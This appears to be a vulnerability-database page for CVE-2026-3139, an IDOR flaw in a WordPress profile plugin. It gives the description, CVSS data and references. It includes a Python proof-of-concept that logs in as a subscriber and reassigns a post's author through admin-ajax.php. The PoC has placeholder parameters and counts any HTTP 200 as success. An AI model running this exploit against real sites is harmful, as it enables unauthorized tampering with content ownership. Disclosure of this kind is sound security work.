CVE-2026-3139

Description

The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.15.5 via the wppb_save_avatar_value() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to reassign ownership of arbitrary posts and attachments by changing 'post_author'.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

User Profile Builder <= 3.15.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "https://example.com/wp-admin/admin-ajax.php"
username = "subscriber_user"
password = "password123"

# 1. Authenticate as a low-privileged user (Subscriber)
session = requests.Session()
login_payload = {
    "log": username,
    "pwd": password,
    "redirect_to": "https://example.com/wp-admin/",
    "wp-submit": "Log In"
}
session.post("https://example.com/wp-login.php", data=login_payload)

# 2. Exploit the IDOR vulnerability
# The vulnerable function wppb_save_avatar_value() accepts a post_author parameter
# without checking if the current user owns the post or has permission to change it.
exploit_payload = {
    "action": "wppb_save_avatar_value", 
    "post_id": "123",                   # ID of the target post to hijack
    "post_author": "1",                 # ID of the target user (e.g., Admin)
    "meta_data": "some_value"           # Other required parameters by the function
}

response = session.post(target_url, data=exploit_payload)

if response.status_code == 200:
    print("[+] Exploit successful! Post author likely changed.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3139
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3139
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3139/
[4] VulDB https://vuldb.com/cve/CVE-2026-3139
[5] https://plugins.trac.wordpress.org/changeset/3481772/profile-builder
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/760f7736-db49-4210-a2f3-3abb506106d7?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3139", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:31.037", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 3.15.5 via the wppb_save_avatar_value() function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with subscriber-level access and above, to reassign ownership of arbitrary posts and attachments by changing 'post_author'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3481772/profile-builder", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/760f7736-db49-4210-a2f3-3abb506106d7?source=cve", "source": "[email protected]"}]}}